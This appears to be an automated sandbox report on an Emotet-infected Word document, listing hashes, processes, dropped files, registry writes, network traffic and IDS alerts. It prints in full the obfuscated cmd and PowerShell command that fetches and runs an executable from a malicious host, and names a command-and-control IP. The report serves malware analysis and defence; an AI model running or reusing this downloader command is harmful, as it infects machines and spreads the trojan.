| File name: | Firmenkunden |
| Full analysis: | https://app.any.run/tasks/dd69b7d0-717f-4aba-a217-9d00616886f9 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 29, 2020, 06:38:07 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Penelope-PC, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Nov 12 14:19:00 2018, Last Saved Time/Date: Mon Nov 12 14:19:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0 |
| MD5: | 5D0DD6D7035F30516E5514928C315DC1 |
| SHA1: | 3D5D1E2D45D8B20A74247E09238EC8AFA0281F0E |
| SHA256: | 09EBE4229A74CDB1212671E6391742CC6BEE387BF14DA02974B07857B27F9223 |
| SSDEEP: | 1536:F1Iocn1kp59gxBK85fBt+a9t0Az8FcTrBF8FlbP9nVGF7ljnWXQDRJg5OX2W:Fv41k/W48M68FcTrBF8FlbP9nVGF7ljB |
MALICIOUS
Application was dropped or rewritten from another process
- 473.exe (PID: 1748)
- 473.exe (PID: 3384)
- lpiograd.exe (PID: 3724)
- lpiograd.exe (PID: 772)
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 2896)
Downloads executable files from the Internet
- powershell.exe (PID: 3612)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2896)
Executes PowerShell scripts
- cmd.exe (PID: 1800)
Request from PowerShell which ran from CMD.EXE
- powershell.exe (PID: 3612)
Emotet process was detected
- lpiograd.exe (PID: 3724)
SUSPICIOUS
Starts CMD.EXE for commands execution
- CMD.exe (PID: 3160)
Creates files in the user directory
- powershell.exe (PID: 3612)
Application launched itself
- 473.exe (PID: 1748)
- lpiograd.exe (PID: 3724)
Executable content was dropped or overwritten
- powershell.exe (PID: 3612)
- 473.exe (PID: 3384)
Starts itself from another location
- 473.exe (PID: 3384)
Reads Internet Cache Settings
- lpiograd.exe (PID: 772)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2896)
Creates files in the user directory
- WINWORD.EXE (PID: 2896)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | Penelope-PC |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2018:11:12 14:19:00 |
| ModifyDate: | 2018:11:12 14:19:00 |
| Pages: | 1 |
| Words: | 2 |
| Characters: | 13 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 14 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
42
Monitored processes
8
Malicious processes
7
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 772 | "C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe" | C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe | lpiograd.exe | ||||||||||||
User: admin Company: Micr Integrity Level: MEDIUM Exit code: 0 Version: 6.2.9200. Modules
| |||||||||||||||
| 1748 | "C:\Users\admin\AppData\Local\Temp\473.exe" | C:\Users\admin\AppData\Local\Temp\473.exe | — | powershell.exe | |||||||||||
User: admin Company: Micr Integrity Level: MEDIUM Exit code: 0 Version: 6.2.9200. Modules
| |||||||||||||||
| 1800 | c:\wINDoWs\SystEM32\cMD.EXe /c "seT BGuF=SEt ('C3'+'Iv') ( " ) )93]RahC[,63]RahC[F-)' ) (dnEoT'+'Dae'+'r.'+'))iI'+'cS'+'a:'+':]gN'+'Id'+'o'+'CNE.tX'+'Et[ ,'+' )'+')S'+'seRP'+'MO'+'ceD'+'::]'+'eDOM'+'noISSErpmOC.N'+'OI'+'SSERPMoC.o'+'I[,'+')'+' }'+'1'+'{==g'+'A'+'4F/'+'wb'+'W'+'GNM'+'XnS'+'2V'+'ta'+'n4'+'Z'+'j8'+'G'+'Oh+adO'+'ry+'+'FJdz'+'O4gV1'+'8vu'+'1I'+'iPvD5r1H'+'8fVD0fmdbCD'+'L53qsrX'+'b'+'d'+'KgvW76A4vAg4'+'ju'+'PfAPGc'+'h'+'w'+'TY'+'ZgU'+'v'+'M'+'JWuu'+'zo3'+'HONT+if'+'Y'+'8K'+'vne'+'MqrR'+'AW'+'46oW'+'I'+'w4ugeo'+'SKmg'+'Hw'+'ty'+'9z+0ZOiUE'+'1EqL9uU94xvY'+'660wf'+'anZNgyM5SNMFz+u0mikeXMGF'+'X'+'R'+'7'+'S'+'rNM'+'w'+'fGC'+'yvD1bA1F'+'neBRd'+'aORoug'+'BzyokRCjo'+'b'+'U'+'uLN'+'b'+'bxkEQre'+'yaJ'+'J'+'CAfU'+'S2'+'L'+'V'+'r'+'P'+'HClC'+'d5z6d'+'D'+'w98e/b'+'Rt9N+ra2z'+'Yd'+'pJzmV7J'+'2HjhAZMMa'+'SO2G'+'0'+'QE5lx'+'Tg'+'joE8j'+'S/'+'DIEwI8at'+'B'+'Z'+'N}1{(G'+'nIr'+'Ts46E'+'s'+'aBmorf:'+':]TrEvn'+'OC[ ]maE'+'r'+'tsyrome'+'M'+'.oi[(mae'+'RTSeTalfEd'+'.'+'N'+'oIs'+'S'+'e'+'RPMoC.OI '+' t'+'Cej'+'BO-we'+'n ((red'+'A'+'E'+'rmAeRt'+'S.oi'+'.M'+'eTS'+'Ys tCejBO-wen('+')}1{x}1{'+'+'+']'+'03['+'EmOHSP'+'}0'+'{+]'+'4['+'EMOh'+'S'+'p}0{ (.'+' '(( ()'x'+]31[DIlLEhS$+]1[Dillehs$ (& " );iEX ( -jOIn ( gEt-VAriabLE ('c3'+'iv') ).vaLUE[- 1.. - ( ( gEt-VAriabLE ('c3'+'iv') ).vaLUE.LeNgTh )]) && POWErshelL .('SV' ) (\"{1}{0}\" -f'6Z','Wo' ) ( [TYPe]( \"{0}{2}{3}{1}\"-F 'ENvi','Nt','R','onme' ) ) ; ( ( ^&( \"{0}{3}{1}{2}\"-f'G','ri','aBlE','eT-VA' ) ( \"{1}{0}\"-f'Z','WO6' ) ).\"V`ALUe\"::(\"{4}{1}{5}{6}{0}{3}{2}\" -f'NT','EN','aRiABlE','v','gET','vI','roNmE' ).Invoke( ( \"{0}{1}\" -f'b','GuF'),( \"{0}{1}{2}\" -f'pR','OCeS','S') ) ) ^| . ( ( ^& ( \"{1}{0}{2}\"-f'eT-vari','G','ABlE' ) ( \"{1}{0}\" -f 'R*','*md') ).\"NA`ME\"[3,11,2]-join'' )" | c:\wINDoWs\SystEM32\cmd.exe | — | CMD.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2896 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Firmenkunden.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3160 | CMD /c c:\wINDoWs\SystEM32\cMD.EXe /c "seT BGuF=SEt ('C3'+'Iv') ( " ) )93]RahC[,63]RahC[F-)' ) (dnEoT'+'Dae'+'r.'+'))iI'+'cS'+'a:'+':]gN'+'Id'+'o'+'CNE.tX'+'Et[ ,'+' )'+')S'+'seRP'+'MO'+'ceD'+'::]'+'eDOM'+'noISSErpmOC.N'+'OI'+'SSERPMoC.o'+'I[,'+')'+' }'+'1'+'{==g'+'A'+'4F/'+'wb'+'W'+'GNM'+'XnS'+'2V'+'ta'+'n4'+'Z'+'j8'+'G'+'Oh+adO'+'ry+'+'FJdz'+'O4gV1'+'8vu'+'1I'+'iPvD5r1H'+'8fVD0fmdbCD'+'L53qsrX'+'b'+'d'+'KgvW76A4vAg4'+'ju'+'PfAPGc'+'h'+'w'+'TY'+'ZgU'+'v'+'M'+'JWuu'+'zo3'+'HONT+if'+'Y'+'8K'+'vne'+'MqrR'+'AW'+'46oW'+'I'+'w4ugeo'+'SKmg'+'Hw'+'ty'+'9z+0ZOiUE'+'1EqL9uU94xvY'+'660wf'+'anZNgyM5SNMFz+u0mikeXMGF'+'X'+'R'+'7'+'S'+'rNM'+'w'+'fGC'+'yvD1bA1F'+'neBRd'+'aORoug'+'BzyokRCjo'+'b'+'U'+'uLN'+'b'+'bxkEQre'+'yaJ'+'J'+'CAfU'+'S2'+'L'+'V'+'r'+'P'+'HClC'+'d5z6d'+'D'+'w98e/b'+'Rt9N+ra2z'+'Yd'+'pJzmV7J'+'2HjhAZMMa'+'SO2G'+'0'+'QE5lx'+'Tg'+'joE8j'+'S/'+'DIEwI8at'+'B'+'Z'+'N}1{(G'+'nIr'+'Ts46E'+'s'+'aBmorf:'+':]TrEvn'+'OC[ ]maE'+'r'+'tsyrome'+'M'+'.oi[(mae'+'RTSeTalfEd'+'.'+'N'+'oIs'+'S'+'e'+'RPMoC.OI '+' t'+'Cej'+'BO-we'+'n ((red'+'A'+'E'+'rmAeRt'+'S.oi'+'.M'+'eTS'+'Ys tCejBO-wen('+')}1{x}1{'+'+'+']'+'03['+'EmOHSP'+'}0'+'{+]'+'4['+'EMOh'+'S'+'p}0{ (.'+' '(( ()'x'+]31[DIlLEhS$+]1[Dillehs$ (^& " );iEX ( -jOIn ( gEt-VAriabLE ('c3'+'iv') ).vaLUE[- 1.. - ( ( gEt-VAriabLE ('c3'+'iv') ).vaLUE.LeNgTh )]) && POWErshelL .('SV' ) (\"{1}{0}\" -f'6Z','Wo' ) ( [TYPe]( \"{0}{2}{3}{1}\"-F 'ENvi','Nt','R','onme' ) ) ; ( ( ^&( \"{0}{3}{1}{2}\"-f'G','ri','aBlE','eT-VA' ) ( \"{1}{0}\"-f'Z','WO6' ) ).\"V`ALUe\"::(\"{4}{1}{5}{6}{0}{3}{2}\" -f'NT','EN','aRiABlE','v','gET','vI','roNmE' ).Invoke( ( \"{0}{1}\" -f'b','GuF'),( \"{0}{1}{2}\" -f'pR','OCeS','S') ) ) ^| . ( ( ^& ( \"{1}{0}{2}\"-f'eT-vari','G','ABlE' ) ( \"{1}{0}\" -f 'R*','*md') ).\"NA`ME\"[3,11,2]-join'' )" | C:\Windows\system32\CMD.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3384 | "C:\Users\admin\AppData\Local\Temp\473.exe" | C:\Users\admin\AppData\Local\Temp\473.exe | 473.exe | ||||||||||||
User: admin Company: Micr Integrity Level: MEDIUM Exit code: 0 Version: 6.2.9200. Modules
| |||||||||||||||
| 3612 | POWErshelL .('SV' ) (\"{1}{0}\" -f'6Z','Wo' ) ( [TYPe]( \"{0}{2}{3}{1}\"-F 'ENvi','Nt','R','onme' ) ) ; ( ( &( \"{0}{3}{1}{2}\"-f'G','ri','aBlE','eT-VA' ) ( \"{1}{0}\"-f'Z','WO6' ) ).\"V`ALUe\"::(\"{4}{1}{5}{6}{0}{3}{2}\" -f'NT','EN','aRiABlE','v','gET','vI','roNmE' ).Invoke( ( \"{0}{1}\" -f'b','GuF'),( \"{0}{1}{2}\" -f'pR','OCeS','S') ) ) | . ( ( & ( \"{1}{0}{2}\"-f'eT-vari','G','ABlE' ) ( \"{1}{0}\" -f 'R*','*md') ).\"NA`ME\"[3,11,2]-join'' ) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3724 | "C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe" | C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe | 473.exe | ||||||||||||
User: admin Company: Micr Integrity Level: MEDIUM Exit code: 0 Version: 6.2.9200. Modules
| |||||||||||||||
Total events
2 159
Read events
1 416
Write events
613
Delete events
130
Modification events
| (PID) Process: | (2896) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 2r1 |
Value: 32723100500B0000010000000000000000000000 | |||
| (PID) Process: | (2896) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2896) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2896) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2896) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2896) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2896) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2896) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2896) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2896) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2896 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR7E02.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3612 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B8ZY9H1X2B9ZC7XV23IN.temp | — | |
MD5:— | SHA256:— | |||
| 2896 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2896 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$rmenkunden.doc | pgc | |
MD5:— | SHA256:— | |||
| 3612 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3612 | powershell.exe | C:\Users\admin\AppData\Local\Temp\473.exe | executable | |
MD5:— | SHA256:— | |||
| 3612 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFa690fd.TMP | binary | |
MD5:— | SHA256:— | |||
| 3384 | 473.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe | executable | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
2
DNS requests
1
Threats
3
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
772 | lpiograd.exe | GET | — | 83.110.100.209:443 | http://83.110.100.209:443/ | AE | — | — | malicious |
3612 | powershell.exe | GET | 200 | 216.37.42.32:80 | http://timlinger.com/nmw/ | US | executable | 448 Kb | malicious |
3612 | powershell.exe | GET | 301 | 216.37.42.32:80 | http://timlinger.com/nmw | US | html | 233 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3612 | powershell.exe | 216.37.42.32:80 | timlinger.com | CONTINENTAL BROADBAND PENNSYLVANIA, INC. | US | malicious |
772 | lpiograd.exe | 83.110.100.209:443 | — | Emirates Telecommunications Corporation | AE | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
timlinger.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3612 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3612 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3612 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |